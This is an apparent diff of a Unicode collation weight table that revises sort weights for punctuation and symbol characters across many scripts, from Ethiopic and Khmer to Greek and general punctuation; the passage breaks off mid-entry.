ETHIOPIC TONAL MARK DIFAT +1395 ; [*04AC.0020.0002] # ETHIOPIC TONAL MARK KENAT +1396 ; [*04AD.0020.0002] # ETHIOPIC TONAL MARK CHIRET +1397 ; [*04AE.0020.0002] # ETHIOPIC TONAL MARK HIDET +1398 ; [*04AF.0020.0002] # ETHIOPIC TONAL MARK DERET-HIDET +1399 ; [*04B0.0020.0002] # ETHIOPIC TONAL MARK KURT 1400 ; [*020F.0020.0002] # CANADIAN SYLLABICS HYPHEN -166D ; [*041E.0020.0002] # CANADIAN SYLLABICS CHI SIGN -166E ; [*027F.0020.0002] # CANADIAN SYLLABICS FULL STOP +166D ; [*0407.0020.0002] # CANADIAN SYLLABICS CHI SIGN +166E ; [*027C.0020.0002] # CANADIAN SYLLABICS FULL STOP 1680 ; [*0209.0020.0004] # OGHAM SPACE MARK -169B ; [*0321.0020.0002] # OGHAM FEATHER MARK -169C ; [*0322.0020.0002] # OGHAM REVERSED FEATHER MARK -16EB ; [*025C.0020.0002] # RUNIC SINGLE PUNCTUATION -16EC ; [*025D.0020.0002] # RUNIC MULTIPLE PUNCTUATION -16ED ; [*025E.0020.0002] # RUNIC CROSS PUNCTUATION -1735 ; [*0296.0020.0002] # PHILIPPINE SINGLE PUNCTUATION -1736 ; [*0297.0020.0002] # PHILIPPINE DOUBLE PUNCTUATION +169B ; [*031A.0020.0002] # OGHAM FEATHER MARK +169C ; [*031B.0020.0002] # OGHAM REVERSED FEATHER MARK +16EB ; [*025B.0020.0002] # RUNIC SINGLE PUNCTUATION +16EC ; [*025C.0020.0002] # RUNIC MULTIPLE PUNCTUATION +16ED ; [*025D.0020.0002] # RUNIC CROSS PUNCTUATION +1735 ; [*0293.0020.0002] # PHILIPPINE SINGLE PUNCTUATION +1736 ; [*0294.0020.0002] # PHILIPPINE DOUBLE PUNCTUATION 17B4 ; [.0000.0000.0000] # KHMER VOWEL INHERENT AQ 17B5 ; [.0000.0000.0000] # KHMER VOWEL INHERENT AA 17D3 ; [.0000.0000.0000] # KHMER SIGN BATHAMASAT -17D4 ; [*029B.0020.0002] # KHMER SIGN KHAN -17D5 ; [*029C.0020.0002] # KHMER SIGN BARIYOOSAN -17D6 ; [*0259.0020.0002] # KHMER SIGN CAMNUC PII KUUH -17D8 ; [*0412.0020.0002] # KHMER SIGN BEYYAL -17D9 ; [*0413.0020.0002] # KHMER SIGN PHNAEK MUAN -17DA ; [*0414.0020.0002] # KHMER SIGN KOOMUUT -1800 ; [*03D9.0020.0002] # MONGOLIAN BIRGA -1801 ; [*0278.0020.0002] # MONGOLIAN ELLIPSIS -1802 ; [*022C.0020.0002] # MONGOLIAN COMMA -1803 ; [*027D.0020.0002] # MONGOLIAN FULL STOP -1804 ; [*0256.0020.0002] # MONGOLIAN COLON -1805 ; [*0257.0020.0002] # MONGOLIAN FOUR DOTS +17D4 ; [*0298.0020.0002] # KHMER SIGN KHAN +17D5 ; [*0299.0020.0002] # KHMER SIGN BARIYOOSAN +17D6 ; [*0258.0020.0002] # KHMER SIGN CAMNUC PII KUUH +17D8 ; [*03FB.0020.0002] # KHMER SIGN BEYYAL +17D9 ; [*03FC.0020.0002] # KHMER SIGN PHNAEK MUAN +17DA ; [*03FD.0020.0002] # KHMER SIGN KOOMUUT +1800 ; [*03D1.0020.0002] # MONGOLIAN BIRGA +1801 ; [*0275.0020.0002] # MONGOLIAN ELLIPSIS +1802 ; [*022B.0020.0002] # MONGOLIAN COMMA +1803 ; [*027A.0020.0002] # MONGOLIAN FULL STOP +1804 ; [*0255.0020.0002] # MONGOLIAN COLON +1805 ; [*0256.0020.0002] # MONGOLIAN FOUR DOTS 1806 ; [*0211.0020.0002] # MONGOLIAN TODO SOFT HYPHEN 1807 ; [*0212.0020.0002] # MONGOLIAN SIBE SYLLABLE BOUNDARY MARKER -1808 ; [*022D.0020.0002] # MONGOLIAN MANCHU COMMA -1809 ; [*027E.0020.0002] # MONGOLIAN MANCHU FULL STOP +1808 ; [*022C.0020.0002] # MONGOLIAN MANCHU COMMA +1809 ; [*027B.0020.0002] # MONGOLIAN MANCHU FULL STOP 180A ; [.0000.0000.0000] # MONGOLIAN NIRUGU -1940 ; [*054A.0020.0002] # LIMBU SIGN LOO -1944 ; [*0264.0020.0002] # LIMBU EXCLAMATION MARK -1945 ; [*026D.0020.0002] # LIMBU QUESTION MARK -19E0 ; [*0551.0020.0002] # KHMER SYMBOL PATHAMASAT -19E1 ; [*0552.0020.0002] # KHMER SYMBOL MUOY KOET -19E2 ; [*0553.0020.0002] # KHMER SYMBOL PII KOET -19E3 ; [*0554.0020.0002] # KHMER SYMBOL BEI KOET -19E4 ; [*0555.0020.0002] # KHMER SYMBOL BUON KOET -19E5 ; [*0556.0020.0002] # KHMER SYMBOL PRAM KOET -19E6 ; [*0557.0020.0002] # KHMER SYMBOL PRAM-MUOY KOET -19E7 ; [*0558.0020.0002] # KHMER SYMBOL PRAM-PII KOET -19E8 ; [*0559.0020.0002] # KHMER SYMBOL PRAM-BEI KOET -19E9 ; [*055A.0020.0002] # KHMER SYMBOL PRAM-BUON KOET -19EA ; [*055B.0020.0002] # KHMER SYMBOL DAP KOET -19EB ; [*055C.0020.0002] # KHMER SYMBOL DAP-MUOY KOET -19EC ; [*055D.0020.0002] # KHMER SYMBOL DAP-PII KOET -19ED ; [*055E.0020.0002] # KHMER SYMBOL DAP-BEI KOET -19EE ; [*055F.0020.0002] # KHMER SYMBOL DAP-BUON KOET -19EF ; [*0560.0020.0002] # KHMER SYMBOL DAP-PRAM KOET -19F0 ; [*0561.0020.0002] # KHMER SYMBOL TUTEYASAT -19F1 ; [*0562.0020.0002] # KHMER SYMBOL MUOY ROC -19F2 ; [*0563.0020.0002] # KHMER SYMBOL PII ROC -19F3 ; [*0564.0020.0002] # KHMER SYMBOL BEI ROC -19F4 ; [*0565.0020.0002] # KHMER SYMBOL BUON ROC -19F5 ; [*0566.0020.0002] # KHMER SYMBOL PRAM ROC -19F6 ; [*0567.0020.0002] # KHMER SYMBOL PRAM-MUOY ROC -19F7 ; [*0568.0020.0002] # KHMER SYMBOL PRAM-PII ROC -19F8 ; [*0569.0020.0002] # KHMER SYMBOL PRAM-BEI ROC -19F9 ; [*056A.0020.0002] # KHMER SYMBOL PRAM-BUON ROC -19FA ; [*056B.0020.0002] # KHMER SYMBOL DAP ROC -19FB ; [*056C.0020.0002] # KHMER SYMBOL DAP-MUOY ROC -19FC ; [*056D.0020.0002] # KHMER SYMBOL DAP-PII ROC -19FD ; [*056E.0020.0002] # KHMER SYMBOL DAP-BEI ROC -19FE ; [*056F.0020.0002] # KHMER SYMBOL DAP-BUON ROC -19FF ; [*0570.0020.0002] # KHMER SYMBOL DAP-PRAM ROC -1A1E ; [*02C9.0020.0002] # BUGINESE PALLAWA -1A1F ; [*02CA.0020.0002] # BUGINESE END OF SECTION +1940 ; [*052A.0020.0002] # LIMBU SIGN LOO +1944 ; [*0263.0020.0002] # LIMBU EXCLAMATION MARK +1945 ; [*026B.0020.0002] # LIMBU QUESTION MARK +19E0 ; [*0531.0020.0002] # KHMER SYMBOL PATHAMASAT +19E1 ; [*0532.0020.0002] # KHMER SYMBOL MUOY KOET +19E2 ; [*0533.0020.0002] # KHMER SYMBOL PII KOET +19E3 ; [*0534.0020.0002] # KHMER SYMBOL BEI KOET +19E4 ; [*0535.0020.0002] # KHMER SYMBOL BUON KOET +19E5 ; [*0536.0020.0002] # KHMER SYMBOL PRAM KOET +19E6 ; [*0537.0020.0002] # KHMER SYMBOL PRAM-MUOY KOET +19E7 ; [*0538.0020.0002] # KHMER SYMBOL PRAM-PII KOET +19E8 ; [*0539.0020.0002] # KHMER SYMBOL PRAM-BEI KOET +19E9 ; [*053A.0020.0002] # KHMER SYMBOL PRAM-BUON KOET +19EA ; [*053B.0020.0002] # KHMER SYMBOL DAP KOET +19EB ; [*053C.0020.0002] # KHMER SYMBOL DAP-MUOY KOET +19EC ; [*053D.0020.0002] # KHMER SYMBOL DAP-PII KOET +19ED ; [*053E.0020.0002] # KHMER SYMBOL DAP-BEI KOET +19EE ; [*053F.0020.0002] # KHMER SYMBOL DAP-BUON KOET +19EF ; [*0540.0020.0002] # KHMER SYMBOL DAP-PRAM KOET +19F0 ; [*0541.0020.0002] # KHMER SYMBOL TUTEYASAT +19F1 ; [*0542.0020.0002] # KHMER SYMBOL MUOY ROC +19F2 ; [*0543.0020.0002] # KHMER SYMBOL PII ROC +19F3 ; [*0544.0020.0002] # KHMER SYMBOL BEI ROC +19F4 ; [*0545.0020.0002] # KHMER SYMBOL BUON ROC +19F5 ; [*0546.0020.0002] # KHMER SYMBOL PRAM ROC +19F6 ; [*0547.0020.0002] # KHMER SYMBOL PRAM-MUOY ROC +19F7 ; [*0548.0020.0002] # KHMER SYMBOL PRAM-PII ROC +19F8 ; [*0549.0020.0002] # KHMER SYMBOL PRAM-BEI ROC +19F9 ; [*054A.0020.0002] # KHMER SYMBOL PRAM-BUON ROC +19FA ; [*054B.0020.0002] # KHMER SYMBOL DAP ROC +19FB ; [*054C.0020.0002] # KHMER SYMBOL DAP-MUOY ROC +19FC ; [*054D.0020.0002] # KHMER SYMBOL DAP-PII ROC +19FD ; [*054E.0020.0002] # KHMER SYMBOL DAP-BEI ROC +19FE ; [*054F.0020.0002] # KHMER SYMBOL DAP-BUON ROC +19FF ; [*0550.0020.0002] # KHMER SYMBOL DAP-PRAM ROC +1A1E ; [*02C2.0020.0002] # BUGINESE PALLAWA +1A1F ; [*02C3.0020.0002] # BUGINESE END OF SECTION 1A7F ; [.0000.0000.0000] # TAI THAM COMBINING CRYPTOGRAMMIC DOT -1AA0 ; [*0415.0020.0002] # TAI THAM SIGN WIANG -1AA1 ; [*0416.0020.0002] # TAI THAM SIGN WIANGWAAK -1AA2 ; [*0417.0020.0002] # TAI THAM SIGN SAWAN -1AA3 ; [*0418.0020.0002] # TAI THAM SIGN KEOW -1AA4 ; [*0419.0020.0002] # TAI THAM SIGN HOY -1AA5 ; [*041A.0020.0002] # TAI THAM SIGN DOKMAI -1AA6 ; [*041B.0020.0002] # TAI THAM SIGN REVERSED ROTATED RANA -1AA8 ; [*029D.0020.0002] # TAI THAM SIGN KAAN -1AA9 ; [*029E.0020.0002] # TAI THAM SIGN KAANKUU -1AAA ; [*029F.0020.0002] # TAI THAM SIGN SATKAAN -1AAB ; [*02A0.0020.0002] # TAI THAM SIGN SATKAANKUU -1AAC ; [*041C.0020.0002] # TAI THAM SIGN HANG -1AAD ; [*041D.0020.0002] # TAI THAM SIGN CAANG -1B5A ; [*02CB.0020.0002] # BALINESE PANTI -1B5B ; [*02CC.0020.0002] # BALINESE PAMADA -1B5C ; [*0280.0020.0002] # BALINESE WINDU -1B5D ; [*025A.0020.0002] # BALINESE CARIK PAMUNGKAH -1B5E ; [*02A1.0020.0002] # BALINESE CARIK SIKI -1B5F ; [*02A2.0020.0002] # BALINESE CARIK PAREREN +1AA0 ; [*03FE.0020.0002] # TAI THAM SIGN WIANG +1AA1 ; [*03FF.0020.0002] # TAI THAM SIGN WIANGWAAK +1AA2 ; [*0400.0020.0002] # TAI THAM SIGN SAWAN +1AA3 ; [*0401.0020.0002] # TAI THAM SIGN KEOW +1AA4 ; [*0402.0020.0002] # TAI THAM SIGN HOY +1AA5 ; [*0403.0020.0002] # TAI THAM SIGN DOKMAI +1AA6 ; [*0404.0020.0002] # TAI THAM SIGN REVERSED ROTATED RANA +1AA8 ; [*029A.0020.0002] # TAI THAM SIGN KAAN +1AA9 ; [*029B.0020.0002] # TAI THAM SIGN KAANKUU +1AAA ; [*029C.0020.0002] # TAI THAM SIGN SATKAAN +1AAB ; [*029D.0020.0002] # TAI THAM SIGN SATKAANKUU +1AAC ; [*0405.0020.0002] # TAI THAM SIGN HANG +1AAD ; [*0406.0020.0002] # TAI THAM SIGN CAANG +1B5A ; [*02C4.0020.0002] # BALINESE PANTI +1B5B ; [*02C5.0020.0002] # BALINESE PAMADA +1B5C ; [*027D.0020.0002] # BALINESE WINDU +1B5D ; [*0259.0020.0002] # BALINESE CARIK PAMUNGKAH +1B5E ; [*029E.0020.0002] # BALINESE CARIK SIKI +1B5F ; [*029F.0020.0002] # BALINESE CARIK PAREREN 1B60 ; [*0210.0020.0002] # BALINESE PAMENENG -1B61 ; [*0571.0020.0002] # BALINESE MUSICAL SYMBOL DONG -1B62 ; [*0572.0020.0002] # BALINESE MUSICAL SYMBOL DENG -1B63 ; [*0573.0020.0002] # BALINESE MUSICAL SYMBOL DUNG -1B64 ; [*0574.0020.0002] # BALINESE MUSICAL SYMBOL DANG -1B65 ; [*0575.0020.0002] # BALINESE MUSICAL SYMBOL DANG SURANG -1B66 ; [*0576.0020.0002] # BALINESE MUSICAL SYMBOL DING -1B67 ; [*0577.0020.0002] # BALINESE MUSICAL SYMBOL DAENG -1B68 ; [*0578.0020.0002] # BALINESE MUSICAL SYMBOL DEUNG -1B69 ; [*0579.0020.0002] # BALINESE MUSICAL SYMBOL DAING -1B6A ; [*057A.0020.0002] # BALINESE MUSICAL SYMBOL DANG GEDE +1B61 ; [*0551.0020.0002] # BALINESE MUSICAL SYMBOL DONG +1B62 ; [*0552.0020.0002] # BALINESE MUSICAL SYMBOL DENG +1B63 ; [*0553.0020.0002] # BALINESE MUSICAL SYMBOL DUNG +1B64 ; [*0554.0020.0002] # BALINESE MUSICAL SYMBOL DANG +1B65 ; [*0555.0020.0002] # BALINESE MUSICAL SYMBOL DANG SURANG +1B66 ; [*0556.0020.0002] # BALINESE MUSICAL SYMBOL DING +1B67 ; [*0557.0020.0002] # BALINESE MUSICAL SYMBOL DAENG +1B68 ; [*0558.0020.0002] # BALINESE MUSICAL SYMBOL DEUNG +1B69 ; [*0559.0020.0002] # BALINESE MUSICAL SYMBOL DAING +1B6A ; [*055A.0020.0002] # BALINESE MUSICAL SYMBOL DANG GEDE 1B6B ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING TEGEH 1B6C ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING ENDEP 1B6D ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING KEMPUL @@ -1045,34 +1018,34 @@ E01EF ; [.0000.0000.0000] # VARIATION SELECTOR-256 1B71 ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING KEMPLI WITH JEGOGAN 1B72 ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING BENDE 1B73 ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING GONG -1B74 ; [*057B.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DUG -1B75 ; [*057C.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DAG -1B76 ; [*057D.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TUK -1B77 ; [*057E.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TAK -1B78 ; [*057F.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PANG -1B79 ; [*0580.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PUNG -1B7A ; [*0581.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLAK -1B7B ; [*0582.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLUK -1B7C ; [*0583.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING -1BFC ; [*042A.0020.0002] # BATAK SYMBOL BINDU NA METEK -1BFD ; [*042B.0020.0002] # BATAK SYMBOL BINDU PINARBORAS -1BFE ; [*042C.0020.0002] # BATAK SYMBOL BINDU JUDUL -1BFF ; [*042D.0020.0002] # BATAK SYMBOL BINDU PANGOLAT -1C3B ; [*0292.0020.0002] # LEPCHA PUNCTUATION TA-ROL -1C3C ; [*0293.0020.0002] # LEPCHA PUNCTUATION NYET THYOOM TA-ROL -1C3D ; [*040B.0020.0002] # LEPCHA PUNCTUATION CER-WA -1C3E ; [*040C.0020.0002] # LEPCHA PUNCTUATION TSHOOK CER-WA -1C3F ; [*040D.0020.0002] # LEPCHA PUNCTUATION TSHOOK -1C7E ; [*02C2.0020.0002] # OL CHIKI PUNCTUATION MUCAAD -1C7F ; [*02C3.0020.0002] # OL CHIKI PUNCTUATION DOUBLE MUCAAD -1CC0 ; [*041F.0020.0002] # SUNDANESE PUNCTUATION BINDU SURYA -1CC1 ; [*0420.0020.0002] # SUNDANESE PUNCTUATION BINDU PANGLONG -1CC2 ; [*0421.0020.0002] # SUNDANESE PUNCTUATION BINDU PURNAMA -1CC3 ; [*0422.0020.0002] # SUNDANESE PUNCTUATION BINDU CAKRA -1CC4 ; [*0423.0020.0002] # SUNDANESE PUNCTUATION BINDU LEU SATANGA -1CC5 ; [*0424.0020.0002] # SUNDANESE PUNCTUATION BINDU KA SATANGA -1CC6 ; [*0425.0020.0002] # SUNDANESE PUNCTUATION BINDU DA SATANGA -1CC7 ; [*0426.0020.0002] # SUNDANESE PUNCTUATION BINDU BA SATANGA +1B74 ; [*055B.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DUG +1B75 ; [*055C.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DAG +1B76 ; [*055D.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TUK +1B77 ; [*055E.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TAK +1B78 ; [*055F.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PANG +1B79 ; [*0560.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PUNG +1B7A ; [*0561.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLAK +1B7B ; [*0562.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLUK +1B7C ; [*0563.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING +1BFC ; [*0413.0020.0002] # BATAK SYMBOL BINDU NA METEK +1BFD ; [*0414.0020.0002] # BATAK SYMBOL BINDU PINARBORAS +1BFE ; [*0415.0020.0002] # BATAK SYMBOL BINDU JUDUL +1BFF ; [*0416.0020.0002] # BATAK SYMBOL BINDU PANGOLAT +1C3B ; [*028F.0020.0002] # LEPCHA PUNCTUATION TA-ROL +1C3C ; [*0290.0020.0002] # LEPCHA PUNCTUATION NYET THYOOM TA-ROL +1C3D ; [*03F4.0020.0002] # LEPCHA PUNCTUATION CER-WA +1C3E ; [*03F5.0020.0002] # LEPCHA PUNCTUATION TSHOOK CER-WA +1C3F ; [*03F6.0020.0002] # LEPCHA PUNCTUATION TSHOOK +1C7E ; [*02BB.0020.0002] # OL CHIKI PUNCTUATION MUCAAD +1C7F ; [*02BC.0020.0002] # OL CHIKI PUNCTUATION DOUBLE MUCAAD +1CC0 ; [*0408.0020.0002] # SUNDANESE PUNCTUATION BINDU SURYA +1CC1 ; [*0409.0020.0002] # SUNDANESE PUNCTUATION BINDU PANGLONG +1CC2 ; [*040A.0020.0002] # SUNDANESE PUNCTUATION BINDU PURNAMA +1CC3 ; [*040B.0020.0002] # SUNDANESE PUNCTUATION BINDU CAKRA +1CC4 ; [*040C.0020.0002] # SUNDANESE PUNCTUATION BINDU LEU SATANGA +1CC5 ; [*040D.0020.0002] # SUNDANESE PUNCTUATION BINDU KA SATANGA +1CC6 ; [*040E.0020.0002] # SUNDANESE PUNCTUATION BINDU DA SATANGA +1CC7 ; [*040F.0020.0002] # SUNDANESE PUNCTUATION BINDU BA SATANGA 1CD0 ; [.0000.0000.0000] # VEDIC TONE KARSHANA 1CD1 ; [.0000.0000.0000] # VEDIC TONE SHARA 1CD2 ; [.0000.0000.0000] # VEDIC TONE PRENKHA @@ -1101,21 +1074,21 @@ E01EF ; [.0000.0000.0000] # VARIATION SELECTOR-256 1CF4 ; [.0000.0000.0000] # VEDIC TONE CANDRA ABOVE 1CF8 ; [.0000.0000.0000] # VEDIC TONE RING ABOVE 1CF9 ; [.0000.0000.0000] # VEDIC TONE DOUBLE RING ABOVE -1FBD ; [*048E.0020.0002] # GREEK KORONIS -1FBF ; [*048E.0020.0002] # GREEK PSILI -1FC0 ; [*0490.0020.0002] # GREEK PERISPOMENI -1FC1 ; [*0489.0020.0002][.0000.002A.0002] # GREEK DIALYTIKA AND PERISPOMENI -1FCD ; [*048E.0020.0002][.0000.0025.0002] # GREEK PSILI AND VARIA -1FCE ; [*048E.0020.0002][.0000.0024.0002] # GREEK PSILI AND OXIA -1FCF ; [*048E.0020.0002][.0000.002A.0002] # GREEK PSILI AND PERISPOMENI -1FDD ; [*048F.0020.0002][.0000.0025.0002] # GREEK DASIA AND VARIA -1FDE ; [*048F.0020.0002][.0000.0024.0002] # GREEK DASIA AND OXIA -1FDF ; [*048F.0020.0002][.0000.002A.0002] # GREEK DASIA AND PERISPOMENI -1FED ; [*0489.0020.0002][.0000.0025.0002] # GREEK DIALYTIKA AND VARIA -1FEE ; [*0489.0020.0002][.0000.0024.0002] # GREEK DIALYTIKA AND OXIA -1FEF ; [*0482.0020.0002] # GREEK VARIA -1FFD ; [*0483.0020.0002] # GREEK OXIA -1FFE ; [*048F.0020.0002] # GREEK DASIA +1FBD ; [*046F.0020.0002] # GREEK KORONIS +1FBF ; [*046F.0020.0002] # GREEK PSILI +1FC0 ; [*0471.0020.0002] # GREEK PERISPOMENI +1FC1 ; [*046A.0020.0002][.0000.002A.0002] # GREEK DIALYTIKA AND PERISPOMENI +1FCD ; [*046F.0020.0002][.0000.0025.0002] # GREEK PSILI AND VARIA +1FCE ; [*046F.0020.0002][.0000.0024.0002] # GREEK PSILI AND OXIA +1FCF ; [*046F.0020.0002][.0000.002A.0002] # GREEK PSILI AND PERISPOMENI +1FDD ; [*0470.0020.0002][.0000.0025.0002] # GREEK DASIA AND VARIA +1FDE ; [*0470.0020.0002][.0000.0024.0002] # GREEK DASIA AND OXIA +1FDF ; [*0470.0020.0002][.0000.002A.0002] # GREEK DASIA AND PERISPOMENI +1FED ; [*046A.0020.0002][.0000.0025.0002] # GREEK DIALYTIKA AND VARIA +1FEE ; [*046A.0020.0002][.0000.0024.0002] # GREEK DIALYTIKA AND OXIA +1FEF ; [*0463.0020.0002] # GREEK VARIA +1FFD ; [*0464.0020.0002] # GREEK OXIA +1FFE ; [*0470.0020.0002] # GREEK DASIA 2000 ; [*0209.0020.0004] # EN QUAD 2001 ; [*0209.0020.0004] # EM QUAD 2002 ; [*0209.0020.0004] # EN SPACE @@ -1133,2869 +1106,2863 @@ E01EF ; [.0000.0000.0000] # VARIATION SELECTOR-256 2013 ; [*0215.0020.0002] # EN DASH 2014 ; [*0216.0020.0002] # EM DASH 2015 ; [*0217.0020.0002] # HORIZONTAL BAR -2016 ; [*0383.0020.0002] # DOUBLE VERTICAL LINE +2016 ; [*037C.0020.0002] # DOUBLE VERTICAL LINE 2017 ; [*020C.0020.0002] # DOUBLE LOW LINE -2018 ; [*0306.0020.0002] # LEFT SINGLE QUOTATION MARK -2019 ; [*0307.0020.0002] # RIGHT SINGLE QUOTATION MARK -201A ; [*0308.0020.0002] # SINGLE LOW-9 QUOTATION MARK -201B ; [*0309.0020.0002] # SINGLE HIGH-REVERSED-9 QUOTATION MARK -201C ; [*030D.0020.0002] # LEFT DOUBLE QUOTATION MARK -201D ; [*030E.0020.0002] # RIGHT DOUBLE QUOTATION MARK -201E ; [*030F.0020.0002] # DOUBLE LOW-9 QUOTATION MARK -201F ; [*0310.0020.0002] # DOUBLE HIGH-REVERSED-9 QUOTATION MARK -2020 ; [*039F.0020.0002] # DAGGER -2021 ; [*03A0.0020.0002] # DOUBLE DAGGER -2022 ; [*03A4.0020.0002] # BULLET -2023 ; [*03A5.0020.0002] # TRIANGULAR BULLET -2024 ; [*0277.0020.0004] # ONE DOT LEADER -2025 ; [*0277.0020.0004][*0277.0020.0004] # TWO DOT LEADER -2026 ; [*0277.0020.0004][*0277.0020.0004][*0277.0020.0004] # HORIZONTAL ELLIPSIS -2027 ; [*03A6.0020.0002] # HYPHENATION POINT +2018 ; [*02FF.0020.0002] # LEFT SINGLE QUOTATION MARK +2019 ; [*0300.0020.0002] # RIGHT SINGLE QUOTATION MARK +201A ; [*0301.0020.0002] # SINGLE LOW-9 QUOTATION MARK +201B ; [*0302.0020.0002] # SINGLE HIGH-REVERSED-9 QUOTATION MARK +201C ; [*0306.0020.0002] # LEFT DOUBLE QUOTATION MARK +201D ; [*0307.0020.0002] # RIGHT DOUBLE QUOTATION MARK +201E ; [*0308.0020.0002] # DOUBLE LOW-9 QUOTATION MARK +201F ; [*0309.0020.0002] # DOUBLE HIGH-REVERSED-9 QUOTATION MARK +2020 ; [*0398.0020.0002] # DAGGER +2021 ; [*0399.0020.0002] # DOUBLE DAGGER +2022 ; [*039D.0020.0002] # BULLET +2023 ; [*039E.0020.0002] # TRIANGULAR BULLET +2024 ; [*0274.0020.0004] # ONE DOT LEADER +2025 ; [*0274.0020.0004][*0274.0020.0004] # TWO DOT LEADER +2026 ; [*0274.0020.0004][*0274.0020.0004][*0274.0020.0004] # HORIZONTAL ELLIPSIS +2027 ; [*039F.0020.0002] # HYPHENATION POINT 2028 ; [*0207.0020.0002] # LINE SEPARATOR 2029 ; [*0208.0020.0002] # PARAGRAPH SEPARATOR 202F ; [*0209.0020.001B] # NARROW NO-BREAK SPACE -2030 ; [*039B.0020.0002] # PER MILLE SIGN -2031 ; [*039D.0020.0002] # PER TEN THOUSAND SIGN -2032 ; [*03AA.0020.0002] # PRIME -2033 ; [*03AA.0020.0004][*03AA.0020.0004] # DOUBLE PRIME -2034 ; [*03AA.0020.0004][*03AA.0020.0004][*03AA.0020.0004] # TRIPLE PRIME -2035 ; [*03AB.0020.0002] # REVERSED PRIME -2036 ; [*03AB.0020.0004][*03AB.0020.0004] # REVERSED DOUBLE PRIME -2037 ; [*03AB.0020.0004][*03AB.0020.0004][*03AB.0020.0004] # REVERSED TRIPLE PRIME -2038 ; [*03AE.0020.0002] # CARET -2039 ; [*030A.0020.0002] # SINGLE LEFT-POINTING ANGLE QUOTATION MARK -203A ; [*030B.0020.0002] # SINGLE RIGHT-POINTING ANGLE QUOTATION MARK -203B ; [*03AF.0020.0002] # REFERENCE MARK -203C ; [*0260.0020.0004][*0260.0020.0004] # DOUBLE EXCLAMATION MARK -203D ; [*0275.0020.0002] # INTERROBANG +2030 ; [*0394.0020.0002] # PER MILLE SIGN +2031 ; [*0396.0020.0002] # PER TEN THOUSAND SIGN +2032 ; [*03A3.0020.0002] # PRIME +2033 ; [*03A3.0020.0004][*03A3.0020.0004] # DOUBLE PRIME +2034 ; [*03A3.0020.0004][*03A3.0020.0004][*03A3.0020.0004] # TRIPLE PRIME +2035 ; [*03A4.0020.0002] # REVERSED PRIME +2036 ; [*03A4.0020.0004][*03A4.0020.0004] # REVERSED DOUBLE PRIME +2037 ; [*03A4.0020.0004][*03A4.0020.0004][*03A4.0020.0004] # REVERSED TRIPLE PRIME +2038 ; [*03A7.0020.0002] # CARET +2039 ; [*0303.0020.0002] # SINGLE LEFT-POINTING ANGLE QUOTATION MARK +203A ; [*0304.0020.0002] # SINGLE RIGHT-POINTING ANGLE QUOTATION MARK +203B ; [*03A8.0020.0002] # REFERENCE MARK +203C ; [*025F.0020.0004][*025F.0020.0004] # DOUBLE EXCLAMATION MARK +203D ; [*0272.0020.0002] # INTERROBANG 203E ; [*020A.0020.0002] # OVERLINE -203F ; [*03B0.0020.0002] # UNDERTIE -2040 ; [*03B2.0020.0002] # CHARACTER TIE -2041 ; [*03B4.0020.0002] # CARET INSERTION POINT -2042 ; [*03B5.0020.0002] # ASTERISM -2043 ; [*03A7.0020.0002] # HYPHEN BULLET -2044 ; [*0626.0020.0002] # FRACTION SLASH -2045 ; [*0323.0020.0002] # LEFT SQUARE BRACKET WITH QUILL -2046 ; [*0324.0020.0002] # RIGHT SQUARE BRACKET WITH QUILL -2047 ; [*0266.0020.0004][*0266.0020.0004] # DOUBLE QUESTION MARK -2048 ; [*0266.0020.0004][*0260.0020.0004] # QUESTION EXCLAMATION MARK -2049 ; [*0260.0020.0004][*0266.0020.0004] # EXCLAMATION QUESTION MARK -204A ; [*0397.0020.0002] # TIRONIAN SIGN ET -204B ; [*038C.0020.0002] # REVERSED PILCROW SIGN -204C ; [*03A8.0020.0002] # BLACK LEFTWARDS BULLET -204D ; [*03A9.0020.0002] # BLACK RIGHTWARDS BULLET -204E ; [*0390.0020.0002] # LOW ASTERISK -204F ; [*0236.0020.0002] # REVERSED SEMICOLON -2050 ; [*03B3.0020.0002] # CLOSE UP -2051 ; [*0391.0020.0002] # TWO ASTERISKS ALIGNED VERTICALLY -2052 ; [*0622.0020.0002] # COMMERCIAL MINUS SIGN +203F ; [*03A9.0020.0002] # UNDERTIE +2040 ; [*03AB.0020.0002] # CHARACTER TIE +2041 ; [*03AD.0020.0002] # CARET INSERTION POINT +2042 ; [*03AE.0020.0002] # ASTERISM +2043 ; [*03A0.0020.0002] # HYPHEN BULLET +2044 ; [*0606.0020.0002] # FRACTION SLASH +2045 ; [*031C.0020.0002] # LEFT SQUARE BRACKET WITH QUILL +2046 ; [*031D.0020.0002] # RIGHT SQUARE BRACKET WITH QUILL +2047 ; [*0264.0020.0004][*0264.0020.0004] # DOUBLE QUESTION MARK +2048 ; [*0264.0020.0004][*025F.0020.0004] # QUESTION EXCLAMATION MARK +2049 ; [*025F.0020.0004][*0264.0020.0004] # EXCLAMATION QUESTION MARK +204A ; [*0390.0020.0002] # TIRONIAN SIGN ET +204B ; [*0385.0020.0002] # REVERSED PILCROW SIGN +204C ; [*03A1.0020.0002] # BLACK 